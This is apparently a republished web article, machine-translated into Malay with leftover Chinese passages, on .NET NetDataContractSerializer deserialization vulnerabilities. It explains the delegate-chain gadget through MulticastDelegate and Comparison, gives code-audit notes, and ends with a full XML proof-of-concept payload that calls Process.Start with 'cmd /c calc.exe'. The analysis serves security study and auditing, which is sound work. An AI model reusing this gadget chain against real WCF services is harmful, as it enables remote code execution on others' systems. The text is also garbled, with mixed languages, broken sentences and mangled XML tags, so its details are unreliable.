NetDataContractSerializer, seperti DataContractSerializer, digunakan untuk mensiri dan menyahsiri data yang dihantar dalam mesej Windows Communication Foundation (WCF). Terdapat perbezaan penting antara kedua-duanya: NetDataContractSerializer termasuk CLR dan menyokong ketepatan jenis dengan menambahkan maklumat tambahan dan menyimpan rujukan kepada jenis CLR, manakala DataContractSerializer tidak. Oleh itu, NetDataContractSerializer hanya boleh digunakan jika jenis CLR yang sama digunakan pada bahagian bersiri dan penyahserikatan. Untuk mensirikan objek menggunakan kaedah WriteObject atau Serialize, dan untuk menyahsiri aliran XML gunakan kaedah ReadObject atau Deserialize. Dalam sesetengah senario, membaca aliran XML yang berniat jahat akan menyebabkan kerentanan penyahserialisasian, dengan itu mencapai serangan RCE jauh Pengarang artikel ini telah memperkenalkan dan mengeluarkannya dari perspektif prinsip dan pengauditan kod.
Menggunakan WriteObject atau Serialize boleh merealisasikan penukaran antara objek .NET dan data XML dengan mudah pemasangan dan jenis jenis yang bersiri. Maklumat tambahan ini boleh digunakan untuk menyahsiri XML kepada jenis khas, membenarkan jenis yang sama digunakan pada kedua-dua klien dan pelayan. Maklumat tambahan ialah atribut z:Id mempunyai makna yang berbeza pada elemen yang berbeza. Ini digunakan untuk mengendalikan jenis rujukan dan sama ada rujukan boleh dikekalkan apabila XML dinyahsiri Kesimpulan terakhir ialah output ini mengandungi lebih banyak maklumat daripada output DataContractSerializer. Berikut ialah contoh untuk menggambarkan masalah Pertama, tentukan objek TestClass
Objek TestClass mentakrifkan tiga ahli dan melaksanakan kaedah statik ClassMethod untuk memulakan proses. Serialization memberikan nilai kepada ahli dengan membuat kejadian objek masing-masing
Pengarang menggunakan Serialize untuk mendapatkan data xml selepas mensiri kelas TestClass
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
Proses penyahserikatan kelas NetDataContractSerializer adalah untuk menukar aliran XML menjadi objek dan memanggil pelbagai kaedah terlebih beban ReadObject atau Serialize dengan mencipta pelaksanaan kaedah baru, semak definisi dan ketahui bahawa ia mewarisi daripada kelas abstrak XmlObjectSerializer dan antara muka IFormatter
kelas NetDataContractSerializer melaksanakan kaedah WriteObject dan ReadObject dalam abstrak XmlObjectSerializer. kelas, dan juga melaksanakan kaedah IFormatter yang ditakrifkan dalam. Kod pelaksanaan khusus pengarang yang memanggil kaedah Deserialize dengan mencipta objek baharu boleh dirujuk kepada yang berikut
Malah, kaedah ReadObject juga dipanggil dalam kaedah Deserialize untuk penyahserialisasian
Semasa proses penyahserikatan, kaedah ReadObject digunakan untuk memanggil kaedah ReadObjectHandleExceptions, meninggalkan beberapa kod bukan teras, memasukkan badan kaedah InternalReadObject dan penyahsiran untuk mendapatkan sifat objek, dan mencetak nilai Nama ahli.
Delegasi Berbilang Siar (MulticastDelegate) mewarisi daripada Delegate, dan senarai panggilannya boleh mempunyai perwakilan dengan berbilang elemen jenis perwakilan di atas diperoleh daripada MulticastDelegate. Medan _invocationList kelas MulticastDelegate akan merujuk tatasusunan delegasi semasa membina rantaian delegasi Walau bagaimanapun, untuk mendapatkan lebih kawalan ke atas rantaian perwakilan, anda mesti menggunakan kaedah GetInvocationList Ia mempunyai senarai perwakilan dengan pautan dan memanggil contoh perwakilan . Apabila tiba masanya, panggilan segerak akan dibuat mengikut susunan perwakilan dalam senarai, jadi bagaimana untuk menambah calc.exe ke kaedah senarai GetInvocationList? Mula-mula lihat kelas Perbandingan
Kelas Perbandingan mengembalikan perwakilan, dan kemudian menggunakan kelas Perwakilan atau MulticastDelegate Kaedah statik awam Combine menambah perwakilan kepada rantai sebagai pembanding jenis untuk Perbandingan
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
上面两种方式都是很常见的,需要重点关注。
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
Atas ialah kandungan terperinci Bagaimana untuk melaksanakan analisis kerentanan penyahserialisasian NetDataContractSerializer. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!